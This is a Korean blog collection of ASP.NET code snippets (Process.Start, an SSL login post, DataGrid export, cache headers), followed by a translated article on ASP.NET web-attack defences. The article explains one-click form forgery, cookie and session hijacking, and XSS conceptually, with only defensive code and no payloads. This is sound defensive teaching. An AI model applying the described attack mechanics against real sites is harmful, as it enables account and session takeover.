myProcess.StartInfo.FileName = myDocumentsPath + "
\\MyFile.doc";
myProcess.StartInfo.Verb = "Print";
myProcess.StartInfo.CreateNoWindow = true;
myProcess.Start();

 

public static Process Start( ProcessStartInfo startInfo);
// ProcessStartInfo : 파일 이름 및 모든 명령줄 인수를 포함하여 프로세스를 시작하는 데 사용되는 정보
// 시작할 프로세스의 파일 이름 같은 프로세스 시작 정보가 포함된 매개 변수에 의해 지정된
// 프로세스 리소스를 시작하고 해당 리소스를 새 Process 구성 요소에 연결합니다

 

ProcessStartInfo startInfo = new ProcessStartInfo("IExplore.exe");
startInfo.WindowStyle = ProcessWindowStyle.Minimized;
startInfo.Arguments = "
www.naver.com";
Process.Start(startInfo);

 

public static Process Start(string fileName);
// fileName : 프로세스에서 실행될 응용 프로그램 파일 이름입니다.

//문서 또는 응용 프로그램 파일 이름을 지정하여 프로세스 리소스를 시작하고 해당 리소스를 새 Process 구성 요소에 연결합니다

 

Process.Start("IExplore.exe");

 

public static Process Start(string fileName, string arguments);
// arguments : 프로세스를 시작할 때 전달할 명령줄 인수입니다

//응용 프로그램 이름 및 명령줄 인수 집합을 지정하여 프로세스 리소스를 시작하고 해당 리소스를 새 Process 구성 요소에 연결합니다.

 

Process.Start("IExplore.exe", "C:\\myPath\\myFile.htm");
Process.Start("IExplore.exe", "C:\\myPath\\myFile.asp");

 

 

Process 클래스

Process 구성 요소는 컴퓨터에서 실행 중인 프로세스에 대한 액세스를 제공합니다. 간단히 말해 프로세스란 실행 중인 응용 프로그램을 말합니다.

 

Process 구성 요소는 응용 프로그램의 시작, 중지, 제어 및 모니터링을 위한 유용한 도구입니다.
Process 구성 요소를 사용하면 실행 중인 프로세스의 목록을 얻거나 새로운 프로세스를 시작할 수 있습니다. 또한 Process 구성 요소를 사용하여 시스템 프로세스에도 액세스할 수 있습니다.
Process 구성 요소를 초기화한 후에는 해당 구성 요소를 사용하여 실행 중인 프로세스에 대한 정보를 얻을 수 있으며 그러한 정보에는 스레드 집합, 로드된 모듈(.dll 및 .exe 파일), 프로세스가 사용하고 있는 메모리 양과 같은 성능 정보 등이 포함됩니다.

 

프로세스 구성 요소는 속성 그룹에 대한 정보를 한 번에 가져옵니다. Process 구성 요소가 특정 그룹의 한 멤버에 대한 정보를 가져올 때 해당 그룹의 나머지 속성 값이 캐싱되므로 Refresh 메서드를 호출하지 않는 한 그룹의 다른 멤버에 대한 새로운 정보를 가져오지 않습니다. 따라서 속성 값이 Refresh 메서드를 마지막으로 호출하여 얻은 속성 값과 같을 수 있습니다. 이러한 그룹 명세는 운영 체제에 따라 다릅니다.

 

더 자세한 사항은 Microsoft Visual Studio .NET 2003 도움말에서 Process 클래스를 참고하세요.

출처 : http://blog.naver.com/tear230/100002921976

쌈꼬쪼려 소백촌닭
Posted by SB패밀리

현재 참여하고 있는 프로젝트를 하면서 SSL을 적용하다 보니 로그인 처리에서 문제가 발생했습니다.

 

일반로그인 처리는 해당페이지의 비하인드코드에서 하면 되지만, SSL을 적용하려면 로그인 처리 페이지를 https://로 접근해야 합니다.

 

위와 같은 경우 Get방식으로 로그인정보를 보내어 처리하면 무리는 없지만

Post방식으로 할 경우 단순히 Form태그의 Action만 바꿔서는 안됩니다.

 

보통 aspx페이지에서는 자체 페이지마다 viewstate값을 가지고 있는 hidden 컨트롤이 있습니다.

 

<input type="hidden" name="__VIEWSTATE" value="dDw3NjMwDYbDxpP..." />

 

이 값을 post방식으로 해서 다른페이지에 보내는 경우 다음과 같은 에러가 발생합니다.

에러 내용을 보시면 알겠지만 machinekey 구성을 수정하라고 하는군요...

 

System.Web.HttpException: Authentication of viewstate failed. 

1) If this is a cluster, edit <machineKey> configuration so all servers use the same validationKey and validation algorithm.  AutoGenerate cannot be used in a cluster. 

2) Viewstate can only be posted back to the same page. 

3) The viewstate for this page might be corrupted. -

--> System.Web.HttpException: 데이터가 유효한지 확인할 수 없습니다.

 

수정하시기가 구찮으시다면.. 아래 소스코드 처럼 __VIEWSTATE의 값은 넘기지 않도록 합니다.

 

<SCRIPT language="javascript">
<!--
function LoginCheck( form )
{
   form.__VIEWSTATE.disabled = true;

   // post방식으로 현재페이지의 컨트롤값을 다른페이지로 그대로 넘기는 되는경우

   // aspx에서는 클라이언트에서 접근할수 있는 아이디값이 컴파일후 바뀐다는것을

   // 유념하셔야 합니다. 아래 처럼 별도의 hidden필드를 만들어서 입력한 값이나

   // 클라이언트 아이디를 넘겨서 다음 페이지에서 정상적으로 값을 받을수 있도록 합니다.
   form.Uid.value = idBox.value;
   form.Pwd.value = pwdBox.value;


   var submitUrl = "https://<%=Request.Url.Host%>/LoginProcess.aspx" ;

   form.action = submitUrl;


   form.submit();
   return true;
}
//-->
</SCRIPT>

출처 : http://blog.naver.com/tear230/100014257847

 
Posted by SB패밀리

현재 페이지에 표시된 DataGrid의 내용을 버튼클릭시 다운로드 하는 소스입니다.
필요해서 한번 해봤는데 되네요..

 

DataListRepeater 등 모든 서버컨트롤이나 HTML컨트롤에도 사용 가능합니다! *^^*

 

private void Button1_Click(object sender, System.EventArgs e)
{   
    System.Web.HttpContext.Current.Response.Buffer = true;
    System.Web.HttpContext.Current.Response.AddHeader
        ("Content-Disposition", "attachment;filename=20050614.xls");
   System.Web.HttpContext.Current.Response.ContentType="application/unknown";

 

    // 이부분은 web.config의 <globalization requestEncoding="utf-8"   
    // responseEncoding="utf-8" /> 인코딩 부분과 같도록 맞춰주시면 됩니다.
   

    // 2005.09.26 추가 : 인코딩 문자열을 자동으로 맞추려면

    // Request.ContentEncoding.HeaderName 로 인코딩 문자열을 받아서 사용한다.

    System.Web.HttpContext.Current.Response.Write       
        ("<meta http-equiv=Content-Type content='text/html; charset=utf-8'>");

 

    System.IO.StringWriter sWriter = new System.IO.StringWriter();   
    System.Web.UI.HtmlTextWriter htmlWriter
           = new System.Web.UI.HtmlTextWriter(sWriter);


    DataGrid1.RenderControl(htmlWriter);   


    System.Web.HttpContext.Current.Response.Write(sWriter.ToString());   
    System.Web.HttpContext.Current.Response.End();
}

참조 : http://blog.naver.com/tear230/100013986512

DataGrid를 이용할줄 안다면 GridView도 응용해서 이용할수 있습니다.
Posted by SB패밀리

로그인한후 한번 접속했던 페이지들은 익스플로러의 열어본 페이지 목록에서 다시 접근했을 경우

기존에 로그인 상태에서 보였던 정보들을 그대로 가져와 보여줍니다.

 

이 문제를 해결하시려면 아래 코드를 추가하세요.

열어본 페이지 목록에서 다시 접근하면 로그인을 필요로 하는 기본 페이지로 이동되어 보여집니다.

 Response.Cache.SetCacheability( HttpCacheability.NoCache );

 웹페이지에 공통적으로 사용되는 유저컨트롤에 추가해주시면 해당 유저컨트롤이 포함되어 있는 모든 페이지에 적용됩니다.

 

// 그외..

Response.CacheControl = "no-cache";

Response.Expires = -1;

출처 : http://blog.naver.com/tear230/100014049055

Posted by SB패밀리

ASP.NET 기본 제공 기능을 활용하여 웹 공격 차단

 

Dino Esposito
Wintellect

적용 대상
   Microsoft ASP.NET 1.x
   Microsoft ASP.NET 2.0

요약: 가장 일반적인 웹 공격 유형을 요약하여 설명하고 웹 개발자가 ASP.NET의 기본 제공 기능을 사용하여 보안을 향상시킬 수 있는 방법을 설명합니다.

목차

ASP.NET 개발자가 항상 수행해야 하는 작업
위협 요인

ViewStateUserKey
쿠키와 인증
세션 가로채기
EnableViewStateMac
ValidateRequest
데이터베이스 관점
숨겨진 필드
전자 메일과 스팸
요약
관련 리소스

ASP.NET 개발자가 항상 수행해야 하는 작업

이 기사의 독자 여러분은 웹 응용 프로그램에서 보안의 중요성이 점점 커지고 있다는 사실을 굳이 강조하지 않더라도 잘 알고 계실 것입니다. ASP.NET 응용 프로그램에서 보안을 구현하는 방법에 대한 실용적인 정보를 찾고 계시겠죠? ASP.NET을 포함한 어떤 개발 플랫폼을 사용한다고 해도 완벽하게 안전한 코드 작성을 보장해 주지는 못합니다. 만일 그렇다고 말한다면 그것은 거짓말입니다. 그러나 ASP.NET의 경우, 특히 버전 1.1과 다음 버전인 2.0에서는 바로 사용할 수 있도록 기본 제공되는 많은 방어 관문이 통합되어 있습니다(이 기사에는 영문 페이지 링크가 포함되어 있습니다).

이러한 모든 기능을 갖춘 응용 프로그램이라 하더라도 단독으로는 발생 및 예측 가능한 모든 공격으로부터 웹 응용 프로그램을 보호할 수는 없습니다. 그러나 기본 제공 ASP.NET 기능을 다른 방어 기술 및 보안 전략과 함께 사용한다면 응용 프로그램이 안전한 환경에서 작동하는 데 도움이 되는 강력한 도구 키트를 만들 수 있습니다.

웹 보안은 개별 응용 프로그램의 경계를 넘어 데이터베이스 관리, 네트워크 구성, 사회 공학 및 피싱(phishing) 등이 포함되는 전략의 결과와 다양한 요소의 집약체입니다.

이 기사의 목적은 높은 수준의 보안 장벽을 유지하기 위해 ASP.NET 개발자가 항상 수행해야 하는 작업에 대해 살펴보는 것입니다. 즉, '보안'을 위해 개발자는 항상 감시하고, 완벽하게 안전하다고는 믿지 않으며, 해킹을 점점 더 어렵게 만들어야 합니다.

이러한 작업을 단순화하기 위해 ASP.NET에서 제공해야 하는 사항에 대해 알아보겠습니다.

위협 요인

표 1에는 가장 일반적인 웹 공격 형태와 이러한 웹 공격을 가능하게 하는 응용 프로그램의 결함이 요약되어 있습니다.

공격 공격을 가능하게 하는 요인
교차 사이트 스크립팅(XSS) 신뢰할 수 없는 사용자 입력이 해당 페이지로 반향됨
SQL 주입 사용자 입력 내용을 연결하여 SQL 명령을 형성함
세션 가로채기 세션 ID 추측 및 유출된 세션 ID 쿠키
한 번 클릭 인식하지 못하는 HTTP 게시가 스크립트를 통해 전송됨
숨겨진 필드 변조 선택되지 않은(신뢰할 수 있는) 숨겨진 필드가 중요 데이터로 채워져 있음

표 1. 일반적인 웹 공격

이 목록에서 알 수 있는 중요한 사실은 무엇일까요? 최소한 다음 세 가지를 알 수 있습니다.

  • 브라우저의 태그에 사용자 입력을 삽입할 때마다 잠재적으로 코드 주입 공격(SQL 주입 및 XSS의 변종)에 노출될 수 있습니다.
  • 데이터베이스 액세스 작업은 안전하게 수행되어야 합니다. 즉, 계정에 최소한의 사용 권한 집합을 사용하고 역할을 통해 개별 사용자의 책임을 제한해야 합니다.
  • 중요한 데이터는 네트워크를 통해 일반 텍스트 형태로 전송해서는 안 되며 안전하게 서버에 저장되어야 합니다.

흥미롭게도, 위 세 가지 사항은 웹 보안의 세 측면에 대한 설명입니다. 이러한 측면을 모두 조합해야만 안전하고 변조가 어려운 응용 프로그램을 빌드할 수 있습니다. 웹 보안의 측면은 다음과 같이 요약할 수 있습니다.

  • 코딩 방식: 데이터 유효성 검사, 유형 및 버퍼 길이 검사, 변조 방지 방법
  • 데이터 액세스 전략: 역할을 사용하여 가장 권한이 적은 계정을 사용하도록 하고 저장 프로시저 또는 적어도 매개 변수화된 명령을 사용합니다.
  • 효과적인 저장 및 관리: 클라이언트에 중요한 데이터를 보내지 않고, 해시 코드를 사용하여 조작을 감지하고, 사용자를 인증하고 ID를 보호하며, 엄격한 암호 정책을 적용합니다.

아시다시피 보안 응용 프로그램은 개발자, 설계자 및 관리자가 함께 노력해야만 만들 수 있습니다. 다른 방법으로는 만들 수 없습니다.

ASP.NET 응용 프로그램을 작성할 때는 아무리 뛰어난 개발자라도 코드만 입력해서 해커에 대항할 수 있다고 생각해서는 안 됩니다. ASP.NET 1.1 이상에서 제공하는 몇 가지 특정 기능을 사용하면 위에서 설명한 위협에 대한 자동 관문을 만들 수 있습니다. 이제 이러한 기능에 대해 자세히 검토해 보겠습니다.

ViewStateUserKey

ASP.NET 1.1부터 도입된 ViewStateUserKey는 개발자에게도 그다지 익숙하지 않은 Page 클래스의 문자열 속성입니다. 그 이유는 무엇일까요? 이와 관련된 설명서의 내용을 살펴보겠습니다.

현재 페이지와 연결된 뷰 상태 변수에서 개별 사용자에 ID를 할당합니다.

스타일은 매우 복잡해도 문장의 의미는 분명하게 나타납니다. 하지만, 이 문장이 속성의 목적을 제대로 설명하고 있다고 생각하십니까? ViewStateUserKey의 역할을 이해하려면 참고 절까지 좀 더 읽어 봐야 합니다.

속성을 사용하면 추가 입력 작업을 통해 뷰 상태 위조를 방지하는 해시 값을 만들어 한 번 클릭 공격을 막을 수 있습니다. 즉, ViewStateUserKey로 인해 해커가 클라이언트쪽 뷰 상태의 콘텐츠를 사용하여 사이트를 악의적으로 게시하기가 어려워졌습니다. 이 속성에는 기본적으로 세션 ID나 사용자의 ID 같은 비어 있지 않은 문자열을 할당할 수 있습니다. 이 속성의 중요성을 보다 잘 이해하기 위해 한 번 클릭 공격의 기본 사항을 간략하게 검토해 보겠습니다.

한 번 클릭 공격은 알려진 취약한 웹 사이트에 악성 HTTP 양식을 게시하는 방법으로 수행됩니다. 이 공격은 일반적으로 사용자가 전자 메일을 통해 수신하거나 방문자가 많은 포럼을 탐색하다가 발견한 링크를 무의식적으로 클릭할 경우 시작되기 때문에 "한 번 클릭" 공격이라고 합니다. 이 링크를 따라 가면 사이트에 악성 <form>을 제출하는 원격 프로세스가 시작됩니다. 솔직히 말해서 10억을 벌려면 여기를 클릭하십시오 같은 링크를 보면 누구나 호기심으로 한 번쯤 클릭해 볼 수 있습니다. 언뜻 보기에는 여러분에게 문제가 될 일은 없습니다. 그렇다면 웹 커뮤니티의 나머지 사용자들에게도 아무런 문제가 없을까요? 그것은 아무도 알 수 없습니다.

한 번 클릭 공격이 성공하기 위해서는 다음과 같은 배경 조건이 필요합니다.

  • 공격자가 해당 취약 사이트에 대해 잘 알고 있어야 합니다. 이는 공격자가 파일에 대해 "열심히" 연구하거나, 불만이 많은 내부자(예: 해고된 직원 및 부정직한 직원)이기 때문에 가능합니다. 그렇기 때문에 공격자는 매우 위협적인 존재일 수 있습니다.
  • 해당 사이트가 Single Sign-On을 구현하기 위해 쿠키(특히 영구 쿠키)를 사용 중이어야 하며 공격자는 유효한 인증 쿠키를 받아서 가지고 있어야 합니다.
  • 사이트의 특정 사용자가 중요한 트랜잭션에 관련되어 있습니다.
  • 공격자에게 대상 페이지에 대한 액세스 권한이 있어야 합니다.

앞에서 설명한 것처럼 공격은 양식이 필요한 페이지에 악성 HTTP 양식을 제공하는 방법으로 수행됩니다. 그러면 이 페이지는 분명히 게시된 데이터를 사용하여 중요한 작업을 수행할 것입니다. 이때 공격자는 각 필드의 사용 방법을 정확히 파악하여 스푸핑한 값을 통해 자신의 목적을 달성할 수 있습니다. 이러한 공격은 보통 특정 대상을 공격하기 위한 것이며, 해커가 자신의 사이트에 있는 링크를 클릭하도록 공격 대상을 유도하여 제 3의 사이트에 악성 코드를 게시하는 '삼각 작업'을 설정하므로 역추적하기가 어렵습니다(그림 1 참조).


그림 1. 한 번 클릭 공격

왜 의심받지 않는 희생자가 필요할까요? 서버의 로그에는 악의적인 요청이 발생지의 IP 주소가 희생자의 IP 주소로 기록되기 때문입니다. 앞서 언급했듯이 이 공격은 "일반" XSS 처럼 일반적이거나 수행하기가 쉽지는 않지만, 그 특성으로 인해 파괴적인 공격이 될 수 있습니다. 이 공격의 해결책은 무엇일까요? ASP.NET을 중심으로 공격 메커니즘을 검토해 보겠습니다.

Page_Load 이벤트에서 동작을 코딩하지 않으면 ASP.NET 페이지가 포스트백(postback) 이벤트 외부에서 중요한 코드를 실행할 수 있는 방법이 없습니다. 포스트백(postback) 이벤트가 발생하려면 뷰 상태 필드가 반드시 필요합니다. ASP.NET은 요청의 포스트백(postback) 상태를 확인하고 _VIEWSTATE 입력 필드의 존재 여부에 따라 IsPostBack을 설정합니다. 따라서 ASP.NET 페이지에 위조된 요청을 보내려는 사람은 누구나 유효한 뷰 상태 필드를 제공해야 합니다.

한 번 클릭 공격이 작동하기 위해서는 해커에게 해당 페이지에 대한 액세스 권한이 있어야 합니다. 이를 예측한 해커는 해당 페이지를 로컬에 저장해 둡니다. 따라서 _VIEWSTATE 필드에 액세스해 이를 사용하여 이전 뷰 상태와 다른 필드의 악성 값이 있는 요청을 만들 수 있습니다. 이 공격은 성공할까요?

물론입니다. 공격자가 올바른 인증 쿠키를 제공하는 경우 해커가 침입하여 요청이 정식으로 처리됩니다. EnableViewStataMac이 해제된 경우 서버에서 뷰 상태 콘텐츠는 전혀 확인되지 않거나 변조 방지에 대해서만 확인됩니다. 기본적으로 뷰 상태에서는 해당 콘텐츠를 특정 사용자에게만 제한할 수 없습니다. 공격자는 해당 페이지에 합법적으로 액세스해서 얻은 뷰 상태를 쉽게 재사용하여 다른 사용자 대신 위조된 요청을 만들 수 있습니다. 이 문제를 해결하기 위해 필요한 것이 ViewStateUserKey입니다.

속성을 정확하게 선택한 경우 사용자 고유 정보가 뷰 상태에 추가됩니다. 요청이 처리되면 ASP.NET이 뷰 상태에서 키를 추출하여 이를 실행 중인 페이지의 ViewStateUserKey와 비교합니다. 두 속성이 일치하면 해당 요청은 적법한 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 속성의 유효 값은 무엇일까요?

ViewStateUserKey를 일정한 문자열로, 즉 모든 사용자에 동일하게 설정하는 것은 빈 상태로 두는 것과 같습니다. 이 속성은 사용자마다 다른 값, 즉 사용자 ID나 세션 ID로 설정해야 합니다. 여러 가지 기술 및 사회적인 이유로 인해 예측이 불가능하고 시간 초과가 있으며 사용자마다 다른 세션 ID가 보다 적합합니다.

다음은 모든 페이지에 있어야 하는 코드입니다.

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

이 코드를 계속 다시 쓰지 않도록 하려면 Page 파생 클래스의 OnInit 가상 메서드에 이를 포함시킵니다. Page.Init 이벤트에서 이 속성을 설정해야 합니다.

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

저의 다른 기사인 더욱 탄탄한 기초 위에 ASP.NET 페이지 작성하기에서 설명한 것처럼 전반적으로 볼 때 항상 기본 페이지 클래스를 사용하는 것이 좋습니다. aspnetpro.com 에서 한 번 클릭 공격자의 기술에 대한 자세한 내용이 수록된 기사를 확인할 수 있습니다.

쿠키와 인증

쿠키는 개발자가 원하는 작업을 수행하는 데 도움이 됩니다. 쿠키는 브라우저와 서버 사이에서 일종의 영구 링크로 동작합니다. 특히 Single Sign-On을 사용하는 응용 프로그램의 경우 공격자는 쿠키를 알아냄으로써 공격을 수행할 수 있습니다. 한 번 클릭 공격의 경우가 특히 그러합니다.

쿠키를 사용하기 위해 프로그래밍 방식으로 쿠키를 명시적으로 만들고 읽을 필요는 없습니다. 세션 상태를 사용하고 양식 인증을 구현하는 경우에는 암시적으로 쿠키를 사용합니다. 물론 ASP.NET은 쿠키를 사용하지 않는 세션 상태를 지원하며 ASP.NET 2.0도 쿠키를 사용하지 않는 양식 인증을 도입했습니다. 따라서 이론적으로는 쿠키를 사용하지 않고도 해당 기능을 사용할 수 있습니다. 그러나 이 경우 공격을 위해 쿠키를 사용하지 않는 것이 쿠키를 사용하는 것보다 더 위험할 수 있습니다. 실제로 쿠키를 사용하지 않은 세션에서는 세션 ID가 URL에 포함되므로 모든 사람이 볼 수 있습니다.

쿠키를 사용하는 경우 발생할 수 있는 문제는 무엇일까요? 쿠키는 도난당하여 해커의 시스템에 복사될 수 있으며 악성 데이터로 채워진 상태가 될 수 있습니다. 이를 시작으로 공격이 감행되는 경우가 많습니다. 도난당한 인증 쿠키가 사용자를 대신해서 외부 사용자에게 응용 프로그램에 연결하고 보호된 페이지를 사용하도록 "권한을 부여"하면, 해커는 인증 과정을 무시하고 해당 사용자에게만 허용된 역할과 보안 설정을 수행할 수 있습니다. 이러한 이유로 인증 쿠키는 보통 비교적 짧은 시간 동안(30분)만 부여됩니다. 따라서 브라우저의 세션이 완료되는 데 이보다 오랜 시간이 걸리더라도 쿠키는 만료됩니다. 쿠키가 유출되는 경우 해커는 30분 동안 창에서 공격을 시도할 수 있습니다.

너무 자주 로그온하지 않도록 하기 위해 이 창을 연장 사용할 수는 있지만 여기에는 위험 부담이 따름을 기억하십시오. 어떠한 경우에도 ASP.NET 영구 쿠키는 사용하지 마십시오. 영구 쿠키를 사용하면 사실상 쿠키의 수명이 영구적으로(50년까지) 연장됩니다. 아래의 코드 조각을 참고하여 여유가 있을 때 쿠키 만료를 수정해 보십시오.

void OnLogin(object sender, EventArgs e) {
   // 자격 증명 검사
   if (ValidateUser(user, pswd)) {
      // 쿠키 만료일 설정
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // 응답에 쿠키 추가
      Response.Cookies.Add(cookie);

      // 리디렉션
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는 설명을 위해 번역문으로 제공됩니다.)

자신의 로그인 양식에서 이 코드를 사용하면 인증 쿠키의 수명을 정밀 조정할 수 있습니다.

세션 가로채기

쿠키는 특정 사용자의 세션 상태를 검색하는 데도 사용됩니다. 해당 세션의 ID는 요청과 함께 이동하는 쿠키에 저장되어 해당 브라우저 컴퓨터에 저장됩니다. 다시 말하지만 세션 쿠키가 유출되는 경우 해커가 해당 시스템으로 침입하여 다른 사용자의 세션 상태에 액세스하는 데 사용될 수 있습니다. 이러한 현상은 지정된 세션이 활성 상태인 동안(보통 20분 미만)에만 발생 가능합니다. 이렇게 스푸핑된 세션 상태를 통해 수행되는 공격을 세션 가로채기라고 합니다. 세션 가로채기에 대한 자세한 내용은 Theft On The Web: Prevent Session Hijacking 을 참조하십시오.

이러한 공격은 얼마나 위험해질 수 있을까요? 대답하기가 어렵군요. 해당 웹 사이트에서 수행하는 작업, 그리고 보다 중요하게는 해당 페이지의 디자인 방법에 따라 차이가 있습니다. 예를 들어 다른 사람의 세션 쿠키를 알아내서 이를 해당 사이트에 있는 페이지에 대한 요청에 첨부할 수 있다고 가정해 보십시오. 페이지를 로드하여 해당 일반 사용자 인터페이스를 통해 작업할 수 있습니다. 페이지에 코드를 주입할 수 없으며, 해당 페이지에서 다른 사용자의 세션 상태를 사용하여 현재 작업 중인 내용을 제외하고 페이지 내용을 변경할 수도 없습니다. 이는 그 자체로는 나쁠 것이 없지만 세션의 정보가 중요한 경우 해커가 이를 바로 공격에 악용할 수 있습니다. 해커는 세션 저장소의 콘텐츠를 검색할 수는 없지만 합법적으로 로그인한 것처럼 저장된 내용을 사용할 수는 있습니다. 예를 들어 사용자가 사이트를 검색하면서 쇼핑 카트에 품목을 추가하는 전자 상거래 응용 프로그램을 가정해 보십시오.

  • 시나리오 1. 쇼핑 카트의 내용이 세션 상태에 저장됩니다. 체크 아웃하면 이 내용을 확인하고 보안 SSL 연결을 통해 지불 내역을 입력하도록 사용자에게 요청합니다. 이 경우 다른 사용자의 세션 상태에 연결해도 해커는 공격 대상의 쇼핑 선호도에 대한 정보만을 일부 알 수 있을 뿐입니다. 이러한 상황에서는 가로채기가 수행되어도 실제로는 아무런 손실이 없으며 정보의 기밀 유지에만 위험이 존재합니다.
  • 시나리오 2. 응용 프로그램이 등록된 각 사용자의 프로필을 처리하여 세션 상태에 저장합니다. 그런데 이 프로필에는 신용 카드 정보가 포함되어 있습니다. 왜 세션에 사용자 프로필 세부 정보를 저장할까요? 이는 십중팔구 이 응용 프로그램의 목표 중 하나가 사용자가 자신의 신용 카드 및 은행 정보를 계속 반복해서 입력하지 않도록 하는 것이기 때문입니다. 그러므로 체크 아웃하면 응용 프로그램은 내용이 미리 채워진 필드가 있는 페이지로 사용자를 이동시킵니다. 이러한 필드 중 하나에는 세션 상태에서 가져온 신용 카드 번호가 나와 있습니다. 결과는 말씀 안 드려도 아시겠죠?

응용 프로그램 페이지의 디자인은 세션 가로채기 공격을 막는 데 중요합니다. 그러나 두 가지 질문이 아직 남아 있습니다. 즉, 쿠키 도난을 막는 방법과 가로채기를 감지 및 차단하기 위해 ASP.NET에서 수행하는 작업입니다.

ASP.NET 세션 쿠키는 아주 간단하며 세션 ID 문자열만을 포함하도록 제한되어 있습니다. ASP.NET 런타임은 쿠키에서 세션 ID를 추출해서 이를 활성 세션에 대해 검사합니다. ID가 유효하면 ASP.NET은 해당 세션에 연결하여 작업을 계속 진행합니다. 이러한 동작으로 인해 해커가 유효한 세션 ID를 훔치거나 알아낸 경우 매우 간단하게 공격을 할 수 있습니다.

클라이언트 PC에 대한 무단 액세스뿐 아니라 XSS 및 "man-in-the-middle" 공격을 통해서도 유효한 쿠키를 가져올 수 있습니다. 쿠키 도난을 방지하려면 XSS와 모든 변종 방식이 성공하지 못하도록 최적의 방식으로 보안을 구현해야 합니다.

대신, 세션 ID 추측을 방지할 때는 자신의 기술을 과대 평가하지만 않으면 됩니다. 세션 ID를 추측한다는 것은 유효한 세션 ID 문자열을 예측하는 방법을 알고 있음을 의미합니다. ASP.NET에서 사용하는 알고리즘(15개의 난수가 URL 사용 문자로 매핑됨)의 경우 우연히 유효한 ID를 추측할 가능성은 거의 없다고 할 수 있습니다. 따라서 기본 세션 ID 생성기를 자신이 사용하는 세션 ID 생성기로 바꿔야 할 이유는 없습니다. 그렇게 하면 대부분의 경우 공격에 더 취약해집니다.

세션 가로채기의 보다 심각한 문제는 공격자가 쿠키를 훔치거나 추측한 후에는 ASP.NET에서 쿠키의 악용을 감지할 수 있는 방법이 거의 없다는 것입니다. 그 이유는 ASP.NET의 역할이 ID의 유효성을 확인하고 쿠키의 출처를 묻는 것으로 제한되어 있기 때문입니다.

저의 Wintellect 동료인 Jeff Prosise가 MSDN Magazine에 세션 가로채기에 관한 훌륭한 기사를 썼습니다. 훔친 세션 ID 쿠키를 사용하는 공격을 완벽하게 방어하는 것은 사실상 불가능하다는 그의 결론은 다소 허탈한 것이 사실이지만, Jeff가 개발한 코드는 보다 높은 수준의 보안을 구축하는 데 도움이 됩니다. Jeff는 세션 ID 쿠키에 대한 들어오는 요청과 나가는 응답을 모니터링하는 HTTP 모듈을 만들었습니다. 이 모듈은 나가는 세션 ID에 해시 코드를 추가하여 공격자가 이 쿠키를 다시 사용하는 것을 어렵게 만듭니다. 자세한 내용은 여기서 확인할 수 있습니다.

EnableViewStateMac

뷰 상태는 같은 페이지에 대한 두 개의 연속 요청 간에 컨트롤 상태를 유지하는 데 사용됩니다. 기본적으로 뷰 상태는 Base64를 사용하여 인코딩되며 변조 방지를 위해 해시 값으로 서명되어 있습니다. 기본 페이지 설정을 변경하지 않는 한 뷰 상태가 변조될 위험은 없습니다. 공격자가 뷰 상태를 수정하거나 올바른 알고리즘을 사용하여 뷰 상태를 다시 만드는 경우에도 ASP.NET은 그러한 시도를 감지하고 예외를 발생시킵니다. 변조된 뷰 상태가 서버 컨트롤의 상태를 수정하기는 해도 꼭 위험한 것은 아니지만, 심각한 감염의 수단이 될 수는 있습니다. 그러므로 기본적으로 발생하는 MAC(시스템 인증 코드) 교차 확인을 제거하지 않는 것이 좋습니다. 그림 2를 참조하십시오.


그림 2. EnableViewStateMac가 설정되어 있을 때 뷰 상태를 본질적으로 변조 방지 상태로 만들기

MAC 확인이 설정되어 있으면(기본값임) serialize된 뷰 상태에는 일부 서버쪽 값 및 뷰 상태 사용자 키(있을 경우)에서 가져온 해시 값이 추가됩니다. 이 뷰 상태가 포스트백(postback)되면 해시 값은 새 서버쪽 값을 사용하여 다시 계산된 후 저장된 값과 비교됩니다. 두 값이 일치하면 해당 요청은 올바른 것으로 간주되고 그렇지 않으면 예외가 발생합니다. 해커가 뷰 상태를 제거하고 다시 만들 수 있더라도 올바른 해시를 제공하려면 서버 저장 값을 알아야 합니다. 특히 machine.config의 <machineKey> 항목에서 참조되는 시스템 키를 알고 있어야 합니다.

기본적으로 <machineKey> 항목은 자동 생성되며 Windows LSA(로컬 보안 기관)에 실제로 저장됩니다. 뷰 상태의 시스템 키가 모든 시스템에서 동일해야 하는 웹 팜의 경우에만 이 항목을 machine.config 파일에서 일반 텍스트로 지정해야 합니다.

뷰 상태 MAC 확인은 @Page 지시문 특성인 EnableViewStateMac에 의해 제어됩니다. 이 특성은 기본적으로 true로 설정되어 있습니다. 이를 해제하지 마십시오. 해제하는 경우에는 뷰 상태 변조 한 번 클릭 공격이 성공할 가능성이 매우 높아집니다.

ValidateRequest

교차 사이트 스크립팅(XSS)은 1999년 이래로 뛰어난 개발자들이 줄기차게 대응해 온 공격 유형입니다. 간단히 말하자면, XSS는 코드의 허점을 악용하여 해커의 실행 코드를 다른 사용자의 브라우저 세션에 삽입합니다. 삽입된 코드는 실행될 경우 다음 번에 사용자가 페이지로 돌아오면 악성 코드가 다시 실행되도록 여러 가지 작업을 실행합니다. 여기에는 쿠키를 훔쳐 복사본을 해커가 제어하는 웹 사이트로 업로드하고, 사용자의 웹 세션을 모니터링하여 데이터를 전달하고, 해킹한 페이지에 잘못된 정보를 제공하여 동작과 모양을 수정하고, 코드 자체를 영구적으로 만드는 등의 작업이 포함됩니다. XSS 공격의 기본 사항에 대한 자세한 내용은 TechNet 기사 Cross-site Scripting Overview 를 참조하십시오.

XSS 공격을 가능하게 하는 코드의 허점은 무엇일까요?

